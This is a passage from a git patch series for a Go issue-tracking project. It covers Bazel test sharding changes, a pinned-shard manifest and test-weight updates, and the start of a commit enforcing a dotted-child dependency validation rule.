"TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle": 0.73, + "TestMergeAndSettleWithStrategy_ResolvesDeclinedConflict": 0.8, + "TestMergeWithStrategy_OursKeepsLocal": 0.8, + "TestMergeWithStrategy_TheirsResolvesAndCommits": 0.87, + "TestMerge_NoStrategyStillErrorsWithEscapeHatchHint": 0.66, + "TestMetadataCASContract": 10.0, + "TestOpenAfterCloseCreatesNewStore": 10.55, + "TestOpenDifferentDirsReturnsDifferentStores": 24.94, + "TestOpenReturnsCachedStore": 11.77, + "TestPartitionWispIDs": 0.81, + "TestPreviewStoreRefusesLocalMetadataWrite": 11.56, + "TestPristineEmbeddedDoltFixtureRelocatesPrefixes": 1.75, + "TestPromoteClearsNoHistory": 2.06, + "TestPromoteStillWorksWithCollisionGuard": 1.02, + "TestPruneEventsBatchDeletesTheLowestSeqsOnly": 1.37, + "TestPushCommitsPendingChangesFirst": 59.73, + "TestQuerierContract": 9.42, + "TestReadEventsAutoPruneStateResolvesBothHalvesInOneQuery": 0.83, + "TestReadyCounterContract": 7.64, + "TestReadyWorkPageTotal": 21.37, + "TestReadyWorkPageTotalFilterMatrix": 29.46, + "TestReadyWorkStatementBudget": 15.52, + "TestReadyWorkWithMissingDeferredParentTables": 4.42, + "TestReclaimAnyReplicaOverride": 0.63, + "TestReclaimExpiredLeaseSurvivesRestartEmbedded": 14.58, + "TestReclaimRefusesForeignReplicaLease": 1.42, + "TestReleaserContract": 9.54, "TestRemoteEntryPointsUseVersionControlOps": 0.0, - "TestRemoteGitDataRefOnEngine": 1.4, - "TestRemoteVerbPlainRemoteKeepsAmbientEnv": 10.97, - "TestRemoteVerbPlainRemoteWithoutAuthPresentsNone": 12.14, - "TestRemoteVerbsPresentStoredPeerCredentials": 12.78, - "TestRenameLabel": 1.98, - "TestRenameLabelMintsOneVersionPerTouchedBead": 2.45, - "TestReopenIssue": 1.09, + "TestRemoteGitDataRefOnEngine": 3.68, + "TestRemoteVerbPlainRemoteKeepsAmbientEnv": 12.73, + "TestRemoteVerbPlainRemoteWithoutAuthPresentsNone": 11.77, + "TestRemoteVerbsPresentStoredPeerCredentials": 23.55, + "TestRenameLabel": 1.91, + "TestRenameLabelMintsOneVersionPerTouchedBead": 2.08, + "TestReopenIssue": 1.36, "TestRetentionContract": 0.0, - "TestRunInTransactionPostCommitStageFailureIsIndeterminate": 0.44, - "TestSchemaAfterInit": 10.4, - "TestSearchWithMissingWispPlaneTables": 1.92, + "TestRunInTransactionPostCommitStageFailureIsIndeterminate": 0.82, + "TestSchemaAfterInit": 12.85, + "TestSearchWithMissingWispPlaneTables": 2.23, "TestStageAndCommitAfterSQLCommitResponseLossIsIndeterminateAndNotReplayed": 0.0, - "TestStatsReporterContract": 9.56, - "TestSweeperContract": 17.21, + "TestStatsReporterContract": 10.44, + "TestSweeperContract": 20.03, "TestTransactionCleanupAfterSQLCommitIsIndeterminate": 0.0, "TestTransactionCleanupBeforeSQLCommitRemainsDefinite": 0.0, - "TestTreeWalkerContract": 12.82, - "TestUnknownProvenanceLeaseStaysReclaimable": 1.21, - "TestUpdateIssueType": 0.51, - "TestUpdateMergeOps_DoltEngine": 0.49, - "TestUpdateMergeOps_DoltEngine_TwoIssues": 0.77, - "TestVersionReconcilerContract": 2.4, - "TestWithPeerAuth": 51.7, - "TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials": 12.63, - "TestWithPeerAuth_DivergedRemoteURLFailsClosed": 12.79, - "TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials": 8.72, - "TestWithPeerAuth_KeyMismatchFailsClosed": 11.39, - "TestWithPeerAuth_MissingRemoteFailsClosed": 10.01, - "TestWithPeerAuth_RestoresAbsentEnv": 11.38, - "TestWithPeerAuth_RestoresEnvWhenCallbackFails": 12.11, - "TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword": 61.05, - "TestWorkspaceConfigContract": 5.37 + "TestTreeWalkerContract": 16.04, + "TestUnknownProvenanceLeaseStaysReclaimable": 1.03, + "TestUpdateIssueType": 0.49, + "TestUpdateMergeOps_DoltEngine": 0.59, + "TestUpdateMergeOps_DoltEngine_TwoIssues": 1.56, + "TestVersionReconcilerContract": 3.07, + "TestWithPeerAuth": 58.71, + "TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials": 13.55, + "TestWithPeerAuth_DivergedRemoteURLFailsClosed": 11.6, + "TestWithPeerAuth_EnvFallbackDoesNotObservePeerCredentials": 12.18, + "TestWithPeerAuth_KeyMismatchFailsClosed": 11.21, + "TestWithPeerAuth_MissingRemoteFailsClosed": 11.39, + "TestWithPeerAuth_RestoresAbsentEnv": 12.08, + "TestWithPeerAuth_RestoresEnvWhenCallbackFails": 12.25, + "TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPasswordAmbient": 40.51, + "TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPasswordStored": 40.51, + "TestWorkspaceConfigContract": 5.12 } } diff --git a/scripts/ci/gen_embedded_storage_shard_manifest.py b/scripts/ci/gen_embedded_storage_shard_manifest.py index 3df3eba97..a90834356 100755 --- a/scripts/ci/gen_embedded_storage_shard_manifest.py +++ b/scripts/ci/gen_embedded_storage_shard_manifest.py @@ -168,7 +168,7 @@ def main(): ap.error(f'total_shards is required with --write (the default, {default_total_shards}, ' 'is the FROZEN legacy block -- see its header in embedded-storage-test-shards.txt; ' 'it must not be regenerated). Pass the Bazel-only total explicitly instead, e.g. ' - '"15 --weights=duration" for bazel-embedded\'s block (see ' + '"40 --weights=duration" for bazel-embedded\'s block (see ' 'internal/storage/embeddeddolt/BUILD.bazel\'s embeddeddolt_embedded_test ' 'shard_count for the current value)') args.total_shards = default_total_shards diff --git a/scripts/shard_manifest_test.go b/scripts/shard_manifest_test.go index 134fbf905..dd6771c67 100644 --- a/scripts/shard_manifest_test.go +++ b/scripts/shard_manifest_test.go @@ -19,7 +19,7 @@ import ( // S3 (F1, mirroring F2's TestProxiedShardManifestGeneratorNotStale below — // see that test's doc comment for the full --check rationale, not repeated -// here): the Bazel-only 50-shard cmd block and 20-shard storage block are +// here): the Bazel-only 100-shard cmd block and 40-shard storage block are // not frozen like their files' legacy 20- and 5-shard blocks. // gen_embedded_{cmd,storage}_shard_manifest.py --check verifies only that // the committed block names every discovered test exactly once, failing with @@ -167,7 +167,7 @@ func TestShardScriptsListOnlyRealTests(t *testing.T) { // duration balancing. totalsSet[bazelEmbeddedCmdShardCount(t)] = true case ".github/scripts/embedded-storage-test-shard.sh": - // F1: mirrors the cmd case above for the 20-shard storage block. + // F1: mirrors the cmd case above for the 40-shard storage block. totalsSet[bazelEmbeddedStorageShardCount(t)] = true case ".github/scripts/server-storage-test-shard.sh": totalsSet[bazelServerFullShardCount(t)] = true From 7c47c3c0a96e5adfac6a83a5455f998a60a91526 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 22:11:43 +0000 Subject: [PATCH 086/213] ci(bazel): pin httpclient_served_test's slow tests to shards (16 -> 26 shards) (#7443) After #7440 //internal/httpclient:httpclient_served_test set the embedded lane (149-167s slowest shard in recent CI runs, 63-167s across PRs since #7416). Not a regression: its top-level tests are all serial and rules_go's round-robin put the long ones wherever its index split dropped them, so shard times swung with load and with which tests a PR added (whole-lane rbe-west run on main: 40-119s over 16 shards). The target now runs through tools/bazel/go_test_pinned_shard.sh, as bd_dolt_server_test and regression_test do: every top-level test measured at >= 3s (max over three whole-lane runs) is pinned onto 17 shards (served_pinned_shards.txt, tools/bazel/pin_shards.py), and the binary's own round-robin deals the other ~620 over the remaining 9. Every test still runs in exactly one shard (TestPinnedShardWrapperSplit), the manifest may name only real tests, and the lane's check_testcases.py fails an empty shard. No test changed; the heaviest single test (~52s, no subtests) stays whole. The pinned-wrapper policy listed only dolt-server-cmd targets, since the wrapper selects and skips; pinnedShardTargets now carries each reviewed target's lane tag, and httpclient_served_test is reviewed in as the embedded lane's (its args stay pinned in TestBazelRetiredLanesCannotBeNarrowed). rbe-west, `bazel test //... --config=embedded --nocache_test_results`: served shards max 119s -> 77s, median 73s -> 54s; lane critical path 138-153s -> 116s. Bead: ga-vnycm2.30 Co-authored-by: Claude Opus 5.5 (1M context) --- internal/httpclient/BUILD.bazel | 36 +++-- internal/httpclient/served_pinned_shards.txt | 142 +++++++++++++++++++ scripts/BUILD.bazel | 1 + scripts/conformance_script_test.go | 2 +- scripts/pinned_shards_helpers_test.go | 16 ++- scripts/pinned_shards_test.go | 21 +-- scripts/pr_risk_bazel_coverage_test.go | 9 +- 7 files changed, 199 insertions(+), 28 deletions(-) create mode 100644 internal/httpclient/served_pinned_shards.txt diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index 1f4e4a6ad..a2b9d9346 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -207,14 +207,26 @@ go_test( # fails each served case rather than skipping it. It is the script's run on # the lane's race build (raceEnabled shrinks its one large apply). # -# Shard count: on the lane's executors (rbe-west, 2026-10-09) the package is -# 725 tests and ~1,300 test-seconds, the heaviest about 54s. Each served case -# copies one per-process template workspace instead of initializing its own -# embedded Dolt schema (served_harness_test.go's servedTemplateWorkspace), -# and TestServedBatchGetterContract seeds its 1000 issues in one write: before +# Shard count: on the lane's executors (rbe-west, 2026-10-09, the whole +# embedded lane running) the package is ~750 top-level tests and ~1,100 +# test-seconds, all serial, the heaviest about 52s. Each served case copies +# one per-process template workspace instead of initializing its own embedded +# Dolt schema (served_harness_test.go's servedTemplateWorkspace), and +# TestServedBatchGetterContract seeds its 1000 issues in one write: before # both, the package was ~3,700 test-seconds over 24 shards, the heaviest shard -# 390s. rules_go deals the tests out round-robin; at 16 shards the measured -# loads come to 62-112s per shard. +# 390s. rules_go's round-robin alone (16 shards) left shards at 40-119s, +# wherever its split dropped the long tests, so the tests measured at >= 3s +# (the maximum over three whole-lane runs) are pinned +# (tools/bazel/go_test_pinned_shard.sh, served_pinned_shards.txt from +# tools/bazel/pin_shards.py --shards 17 --min-seconds 3) onto 17 shards, and +# the binary's round-robin deals the other ~650 (~340s of measured test +# time; those shards ran ~1.4x their tests' summed times) over the remaining +# 9. +# Regenerate the manifest from runs of the lane: +# bazel test //... --config=embedded +# python3 tools/bazel/pin_shards.py --shards 17 --min-seconds 3 \ +# --write internal/httpclient/served_pinned_shards.txt \ +# bazel-testlogs/internal/httpclient/httpclient_served_test # # Tags: # embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, @@ -227,19 +239,23 @@ sh_test( # that SIGTERM, so a hang would end as a bare TIMEOUT. 19m lets Go's own # timeout fire first and dump every goroutine to test.log. timeout = "eternal", - srcs = ["//tools/bazel:go_test_variant.sh"], + srcs = ["//tools/bazel:go_test_pinned_shard.sh"], args = [ + "$(rootpath :served_pinned_shards.txt)", "$(rootpath :httpclient_test)", "-test.v", "-test.count=1", "-test.timeout=19m", ], - data = [":httpclient_test"], + data = [ + "served_pinned_shards.txt", + ":httpclient_test", + ], env = { "BEADS_HTTP_TEST_REQUIRED": "1", "BEADS_TEST_EMBEDDED_DOLT": "1", }, - shard_count = 16, + shard_count = 26, tags = ["embedded"], ) diff --git a/internal/httpclient/served_pinned_shards.txt b/internal/httpclient/served_pinned_shards.txt new file mode 100644 index 000000000..a62da7437 --- /dev/null +++ b/internal/httpclient/served_pinned_shards.txt @@ -0,0 +1,142 @@ +# Pinned shards for tools/bazel/go_test_pinned_shard.sh. Generated by +# tools/bazel/pin_shards.py; regenerate rather than edit (see its usage). +# +# Every top-level test measured at >= 3s, bin-packed +# longest-first onto these shards; every other test runs in the +# binary's own round-robin shards. Measured seconds per pinned shard: +# 86 88 85 89 86 86 86 86 86 86 86 86 86 89 89 86 86 +# Unpinned tests: 617, 335s in total. +# +# +1 TestServedBatchApplyEndGateCycleSurvivesSkipPerEdgeCycleCheck +1 TestServedBatchApplyUpdateAfterCloseInOneRequest +1 TestServedDualWriteContract +1 TestServedIssueOperationsCreateUnderAParentMintsTheNextChildID +1 TestServedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix +2 TestServedBatchApplyShape356CommitsAtomically +2 TestServedBatchGetterContract +2 TestServedDetailReadsAgreeWithTheReferenceStore +2 TestServedLifecycleCloseAdmitsATransitivelyBlockedTarget +2 TestServedReaderListAppliesTheClientSideDisplayOrder +2 TestServedReaderListStatusORSetUnderALabelScope +2 TestServedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary +3 TestServedBatchApplyAllowsAClosedParentToGainAnOpenChild +3 TestServedBatchApplyBoundsTheItemCount +3 TestServedBatchApplyShape356PlusAStaleGuardLeavesZeroRows +3 TestServedCycleDetectorContract +3 TestServedLeaseReclaimerScopesToAssigneesAndLabels +3 TestServedLifecycleCloseIsIdempotentAndKeepsTheFirstClose +3 TestServedReaderListMaxRowsUnderPushdown +4 TestServedBatchApplyANoOpBatchRecordsNoHistory +4 TestServedBatchApplyAppliesEveryItemInDeclarationOrder +4 TestServedBatchApplyRefusesExpectedVersionOnARowAnEarlierItemTouched +4 TestServedDeleteGuardsADurableNamedWithAWispDependent +4 TestServedDeleterCountsCrossPlaneEdgesItRemoves +4 TestServedDeleterSettlesTheSurvivorsOfADeletedBlocker +4 TestServedLifecycleReopenRecordsItsReason +4 TestServedReaderListOrderMatchesTheReferenceStore +5 TestServedBatchApplyAnEphemeralBatchKeepsItsWispsAndRecordsNoDurableHistory +5 TestServedBatchApplyEndGateRefusesAHierarchyTheRequestBuilt +5 TestServedBatchApplyRefusesAKeyDeclaredLater +5 TestServedLifecycleUpdateClosePolicy +5 TestServedLifecycleUpdateRefusesATemplate +5 TestServedReaderListMaxRowsBoundsWireRowsFetched +5 TestServedReadsAndWritesRefuseAfterAPostHandshakeServerSwap +6 TestServedBatchApplyRefusesARefNamingNeitherOrBoth +6 TestServedBatchApplyRefusesExpectedVersionOnARowAnEarlierItemCreated +6 TestServedDeleteGuardsAWispNamedWithADurableDependent +6 TestServedDeleterSettlesTheSurvivorsOfADeletedWispBlocker +6 TestServedLifecycleCloseRefusalsCarryTheirTypesAndWriteNothing +6 TestServedLifecycleCloseSettlesTheClosedRowItselfAndItsChild +6 TestServedReaderListSortPushdownIsOneDial +6 TestServedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded +7 TestServedBatchApplyARefusedRequestRecordsNoHistory +7 TestServedBatchApplyAnswersEveryItemWithoutASnapshot +7 TestServedBatchApplyClosePolicyEvaluatesAtTheCloseItem +7 TestServedBatchApplySplicesAForwardMetadataRef +7 TestServedBatchCloserSettlesTheDependersOfWhatItClosed +7 TestServedLifecycleCloseCountsOpenChildrenInBothPlanes +7 TestServedQuerierDisjunctionAnswersEveryMatch +7 TestServedWorkspaceConfigContract +8 TestDualRunCloseHistoryAgreesWithTheReferenceStore +8 TestServedBatchApplyBindsEachNamedKeyToItsMintedID +8 TestServedBatchApplyEvaluatesExpectedAssigneeAsModified +8 TestServedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate +8 TestServedGraphCounterContract +8 TestServedIssueOperationsCreateParentChildRecomputesWaitsForClosure +8 TestServedLifecycleCloseSettlesItsTransitiveAndCrossPlaneDependers +8 TestServedQuerierSortTieBreaksByIDInBothDirections +9 TestDualRunReaderAgreesWithTheReferenceStore +9 TestServedBatchApplyResolvesABackwardKeyRef +9 TestServedDependencyEditorMaintainsBlockedStateAcrossPlanes +9 TestServedDependencyEditorRecordsOneHistoryEntryPerLandedRequest +9 TestServedLifecycleCloseEnforcesTheCloseGuards +9 TestServedLifecycleCloseOnASpawnersLastChildSatisfiesAWaitsForGate +9 TestServedReaderListWeldedOrderKeepsSendingNoSortParameter +9 TestServedReaderRefusesTheFiltersTheWireCannotCarry +10 TestServedBatchApplyEvaluatesExpectedStatusAsModified +10 TestServedBatchCloserForceBypassesOnlyClosePolicy +10 TestServedBlockingAnnotatorContract +10 TestServedCounterContract +10 TestServedDependencyEditorRemoveUnmarksItsSourceAndDescendants +10 TestServedQuerierSortSeesTheWholeMatchingSet +10 TestServedReaderListIncludeEphemeralMergesThePlanesUnderALabelScope +10 TestServedReadyClaimerFencesTheClaimByEveryLabelSetAndTheParentItWasGiven +11 TestServedBatchApplyExpectedVersionThatMatchesLetsTheItemThrough +11 TestServedBatchApplyNeverReordersItsItems +11 TestServedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit +11 TestServedRawCloseKeepsParityWithTheOtherBackends +11 TestServedReaderListKeysetPositionSkipsForward +11 TestServedReaderListLimitBoundaryUnderALabelScope +11 TestServedTreeWalkerContract +11 TestTheParentWalkAnswersTheSameRowsOverHTTP +12 TestDualRunIDResolutionProbesAgreeWithTheReferenceStore +12 TestServedBatchApplyRecordsOneEntryForAWriteThatLandedNothing +12 TestServedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction +12 TestServedIssueOperationsUpdateStatusCrossingSettlesAConditionalBlocksDepender +12 TestServedReaderDoesNotMutateTheCallerRequestOverTheWire +12 TestServedReaderReadyParentScopesToItsTransitiveDescendants +12 TestTheCompositionCatchesAWrongParameter +12 TestTheReadyBridgeDualRunsBuildReadyFilterOverBothReadPaths +13 TestServedBatchApplyNormalizesTheWaitsForGate +13 TestServedBatchApplyRefusesACrossPlaneEdgeBetweenRowsItCreated +13 TestServedIssueOperationsUpdateClaimConflictCarriesTheLosingState +13 TestServedIssueOperationsUpdateStatusCrossingSettlesDependers +13 TestServedJournalContract +13 TestServedReaderListUnlimitedStaysAWalk +13 TestServedReaderListWalksMultiplePages +13 TestServedRelationsContract +14 TestServedBatchApplyRefusesAKeyNoItemDeclares +14 TestServedBatchApplyRollsBackEverythingWhenTheLastItemRefuses +14 TestServedLifecycleReopenReblocksItsDependers +14 TestServedLifecycleUpdateParentIDReplacesTheParentEdge +14 TestServedQuerierPageIsAPrefixAndHasMoreIsExact +14 TestServedReaderListMessageWispsNeedTheInfraIntentAndNotJustThePlane +14 TestServedReaderListMultiPageWalkHasNoSnapshotIsolation +14 TestServedSweeperProtectsLiveDependents +14 TestTheParentWalkRefusesAResidualOverHTTP +15 TestDualRunQuerierAndReadyCounterAgreeWithTheReferenceStore +15 TestServedBatchApplyStaleExpectedVersionRefusesTheWholeRequest +15 TestServedDependencyEditorRefusesACycleThroughAParentChildHop +15 TestServedLifecycleUpdateAssigneeTransferFence +15 TestServedLifecycleUpdateParentIDReplacesEveryParent +15 TestServedQuerierSortBoundsThePageInOrder +15 TestServedReaderListEmptyPageIsWellFormedUnderALabelScope +15 TestServedReaderListFallsBackToTheWalkWithoutTheCapability +15 TestServedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities +16 TestServedBatchApplyAcceptsAnExternalEdgeTarget +16 TestServedBatchApplyHistoryNamesTheActorAndReadsTheProvenance +16 TestServedDeleterSettlesTheChildrenOfADeletedParent +16 TestServedEdgeReaderContract +16 TestServedQuerierSortByClosedPutsTheUnclosedRowsAtTheFarEnd +16 TestServedQuerierSortByTitleFoldsCaseBeforeItCutsThePage +16 TestServedReaderListPriorityKeysetPositionResumesThePriorityOrder +16 TestServedSweeperProtectsLiveDependentsAcrossPlanes +17 TestServedBatchApplyRecordsExactlyOneHistoryEntry +17 TestServedBatchApplyReportsChangedPerItem +17 TestServedBatchCloserIdempotentRecloseIsAPerItemSuccess +17 TestServedCommenterContract +17 TestServedLifecycleCreateInheritsParentLabels +17 TestServedQuerierHidesClosedUnlessTheExpressionOrTheFlagSaysOtherwise +17 TestServedReaderReadyDeferredAndEphemeralGates +17 TestServedStatsReporterContract diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 36b26accd..a91b79346 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -160,6 +160,7 @@ go_test( "//:nested_go_modules", "//:repo_go_test_srcs", "//cmd/bd:repo_other_files", + "//internal/httpclient:repo_other_files", "//internal/storage/dolt:repo_other_files", "//internal/storage/embeddeddolt:repo_other_files", "//tests/regression:repo_other_files", diff --git a/scripts/conformance_script_test.go b/scripts/conformance_script_test.go index ce41f1067..24fd6ebab 100644 --- a/scripts/conformance_script_test.go +++ b/scripts/conformance_script_test.go @@ -123,7 +123,7 @@ func TestConformanceServedTierRunsUnderBazel(t *testing.T) { if rule == "" { t.Fatal("internal/httpclient/BUILD.bazel has no httpclient_served_test") } - want := []string{`"$(rootpath :httpclient_test)",`, `data = [":httpclient_test"],`, `tags = ["embedded"],`} + want := []string{`"$(rootpath :httpclient_test)",`, `":httpclient_test",`, `tags = ["embedded"],`} for _, sw := range switches { want = append(want, `"`+sw[1]+`": "`+sw[2]+`",`) } diff --git a/scripts/pinned_shards_helpers_test.go b/scripts/pinned_shards_helpers_test.go index 862fcd0b4..52476fbb5 100644 --- a/scripts/pinned_shards_helpers_test.go +++ b/scripts/pinned_shards_helpers_test.go @@ -16,12 +16,20 @@ const pinnedShardWrapper = "tools/bazel/go_test_pinned_shard.sh" // pinnedShardTargets are the sh_tests that run a go_test binary through // tools/bazel/go_test_pinned_shard.sh: the BUILD file, the rule, its -// manifest, and the directory holding the go_test's sources. +// manifest, the directory holding the go_test's sources, and the rule's one +// lane tag. +// +// httpclient_served_test is the embedded lane's (a retired tier's) served +// corpus, which may not be narrowed: the wrapper runs every top-level test in +// exactly one shard (TestPinnedShardWrapperSplit), the manifest may name only +// real tests (TestPinnedShardManifestsNameRealTests), and the lane's +// check_testcases.py fails a shard that ran none. var pinnedShardTargets = []struct { - build, rule, manifest, pkg string + build, rule, manifest, pkg, tag string }{ - {"cmd/bd/BUILD.bazel", "bd_dolt_server_test", "cmd/bd/dolt_server_pinned_shards.txt", "cmd/bd"}, - {"tests/regression/BUILD.bazel", "regression_test", "tests/regression/pinned_shards.txt", "tests/regression"}, + {"cmd/bd/BUILD.bazel", "bd_dolt_server_test", "cmd/bd/dolt_server_pinned_shards.txt", "cmd/bd", "dolt-server-cmd"}, + {"tests/regression/BUILD.bazel", "regression_test", "tests/regression/pinned_shards.txt", "tests/regression", "dolt-server-cmd"}, + {"internal/httpclient/BUILD.bazel", "httpclient_served_test", "internal/httpclient/served_pinned_shards.txt", "internal/httpclient", "embedded"}, } var pinnedLineRe = regexp.MustCompile(`^([1-9][0-9]*) (Test[A-Za-z0-9_]*)$`) diff --git a/scripts/pinned_shards_test.go b/scripts/pinned_shards_test.go index ff95e9f3f..765415979 100644 --- a/scripts/pinned_shards_test.go +++ b/scripts/pinned_shards_test.go @@ -211,14 +211,15 @@ func TestPinShardsGenerator(t *testing.T) { // pinnedShardWrapperUsers returns an error for every BUILD rule that runs // through go_test_pinned_shard.sh other than pinnedShardTargets, and for any -// of those tagged for another lane than the cmd/bd Dolt-server tier: the -// wrapper selects and skips tests, which the retired tiers' lanes forbid -// (TestBazelRetiredLanesCannotBeNarrowed). +// of those not tagged exactly its pinnedShardTargets lane: the wrapper +// selects and skips tests, which the retired tiers' lanes forbid +// (TestBazelRetiredLanesCannotBeNarrowed) except for the reviewed targets +// listed there. func pinnedShardWrapperUsers(t *testing.T, root string) []string { t.Helper() - allowed := map[string]bool{} + allowed := map[string]string{} for _, tgt := range pinnedShardTargets { - allowed[tgt.build+":"+tgt.rule] = true + allowed[tgt.build+":"+tgt.rule] = tgt.tag } const label = "//tools/bazel:go_test_pinned_shard.sh" var errs []string @@ -247,11 +248,13 @@ func pinnedShardWrapperUsers(t *testing.T, root string) []string { continue } seen++ - if !allowed[f+":"+name] { - errs = append(errs, f+": "+name+" runs through "+pinnedShardWrapper+"; add it to pinnedShardTargets after reviewing that it is not a retired tier's lane") + tag, ok := allowed[f+":"+name] + if !ok { + errs = append(errs, f+": "+name+" runs through "+pinnedShardWrapper+"; add it to pinnedShardTargets after reviewing that every test still runs exactly once") + continue } - if !strings.Contains(rule, `tags = ["dolt-server-cmd"]`) { - errs = append(errs, f+": "+name+" runs through "+pinnedShardWrapper+" but is not tagged exactly dolt-server-cmd") + if !strings.Contains(rule, `tags = ["`+tag+`"]`) { + errs = append(errs, f+": "+name+" runs through "+pinnedShardWrapper+" but is not tagged exactly "+tag) } } } diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index d1e800aec..0a57f6785 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -811,9 +811,10 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { } // go_test_pinned_shard.sh selects and skips by design (each test in // exactly one shard: TestPinnedShardWrapperSplit), and is reviewed - // here for the dolt-server-cmd targets only, which are none of the - // retired tiers' lanes; pinnedShardWrapperUsers fails if anything - // else runs through it. + // here for pinnedShardTargets only (the dolt-server-cmd targets and + // the embedded lane's httpclient_served_test, whose args are pinned + // above); pinnedShardWrapperUsers fails if anything else runs + // through it. exempt := filepath.ToSlash(rel) == pinnedShardWrapper if exempt { for _, e := range pinnedShardWrapperUsers(t, root) { @@ -890,7 +891,7 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { // script's switches: required, so a missing engine fails each served // case instead of skipping it. "//internal/httpclient:httpclient_served_test": { - []string{"$(rootpath :httpclient_test)", "-test.v", "-test.count=1", "-test.timeout=19m"}, + []string{"$(rootpath :served_pinned_shards.txt)", "$(rootpath :httpclient_test)", "-test.v", "-test.count=1", "-test.timeout=19m"}, map[string]string{"BEADS_HTTP_TEST_REQUIRED": "1", "BEADS_TEST_EMBEDDED_DOLT": "1"}, }, "//cmd/bd:bd_proxied_test": { From d15958a5eb88fc32e3a47680ccc017ff47b561ac Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 22:56:46 +0000 Subject: [PATCH 087/213] fix(issueops): enforce the dotted-child dependency rule on every leg (#7424) * fix(issueops): enforce the dotted-child dependency rule on every leg The refusal of an explicit edge from a dotted-id child to its own ancestor (bd-abc.1 -> bd-abc; only the parent-child edge to the immediate dotted parent is allowed) lived only in cmd/bd (isDisallowedHierarchicalDependency). HTTP dependencies:add, batch:apply dep_add items and `bd create --graph`'s own edges skipped it. It is now one library rule, issueops.CheckDottedChildDependency, returning *issueops.DottedChildDependencyError (unwraps to ErrValidation, same message the CLI printed): - ValidateAddDependenciesRequest applies it, so DependencyEditor refuses on dolt, embedded, uow and the server behind httpapi (400 invalid_argument); - both BatchApplier bodies (issueops and uow) apply it to each dep_add item on the resolved ids, so a key bound to a minted dotted child is refused too; - the HTTP client checks it before the dial, as it does self-dependency, so the typed error survives the wire. cmd/bd keeps no copy: single-edge dep add / dep --blocks rely on the role; bd link (still on the store verb) and the --file bulk reporter call the library rule. CLI output is byte-identical (checked against origin/main). Conformance: RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent and RunBatchApplyRefusesADottedChildGatedOnItsOwnParent wired on dolt, embedded, uow and http, plus a raw-wire served test past the client check and handler mapping cases. Co-Authored-By: Claude Opus 5.5 * fix(batch): refuse a dotted child gated on its own ancestor in bd batch Review fixup for PR #7424 (iterations 1 and 2). Major: a bd batch script line `dep add bd-abc.1 bd-abc` still wrote the edge this PR refuses everywhere else, on both backends. Neither batch dispatch writes through the DependencyEditor role that enforces the dotted-child rule: the classic arm calls storage.Transaction.AddDependency and the proxied arm the unit of work's AddDependencies verb. Both arms now build the edge with one helper, batchDepAddEdge, which keeps the default type and the arity and type errors, and asks publicops.CheckDottedChildDependency the way bd link does. A refused line rolls the whole batch back. Tests: TestBatchDepAddEdge (default and explicit types, arity and type errors, three refusals typed *DottedChildDependencyError matching ErrValidation, and the immediate parent-child edge allowed), and TestProxiedServerBatchDepAddRefusesADottedChildGatedOnItsParent (classic and proxied: the refusal names line 2, rolls back an earlier update line and writes no edge, and `dep add C P parent-child` still lands exactly one), registered in the proxied shard manifest. A mutant that drops the rule from the shared helper fails both; one that bypasses the helper in the proxied arm alone fails the proxied leg. Minors: - For a child whose parent-child edge is already stored (a `bd create --parent` child) the rule answers ahead of the hierarchy and type conflicts, so an HTTP caller now gets 400 invalid_argument where it got 409 dependency_cycle (blocking types) or dependency_exists (any other type). Documented in the DependencyEditor role doc, the CHANGELOG entry and the httpapi batch-apply test comment, and pinned by a stored-hierarchy phase in the DependencyEditor and BatchApplier dotted-child conformance contracts on every leg; a mutant that drops the rule gets the hierarchy conflict instead (409 dependency_cycle on the wire). - The bd create --graph dry-run note now says the live create may also refuse an edge that gates a dotted-id child on its own ancestor. - The DottedChildDependencyError comment says the message is kept verbatim and says "deadlock" whatever the type. Not changed: bd relate (relates-to does not schedule) and the edges a create writes with its issue (bd create --deps/--waits-for, and over HTTP an explicit dotted id with a non-immediate ParentID) still write through paths that skip the rule. The scheduling shapes need an explicit dotted id or a grandparent target. Follow-up bd-25s1wh tracks moving the rule down to the domain/store add verbs, with a structural bypass for reparent and template edges. Iteration 2 (minor): the CheckDottedChildDependency doc no longer implies bd link and bd batch are the only writers outside the roles. It names bd relate and the create edges as not applying the rule yet and cites bd-25s1wh. Complexity (cyclomatic/cognitive): runBatchOp 23/35 -> 21/31, runBatchOpUOW 28/48 -> 26/44, batchDepAddEdge 5/4. Touching them brings both pre-existing dispatch switches into the measured set; splitting them is out of scope here. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * docs(issueops,httpapi): document the dotted-child 400 and widen its gap list Review fixup for PR #7424 (relaunch, iteration 1, minors). - The OpenAPI spec now describes the wire change this PR makes. The dependencies:add and issues:batchApply 400 vocabularies name an edge from a dotted-id child to its own ancestor (anything but the parent-child edge to its immediate parent; param `edges` and `items`). dependencies:add says why that is request-intrinsic, and both 409s say it is never dependency_cycle or dependency_exists, even for a child whose parent-child edge is stored. 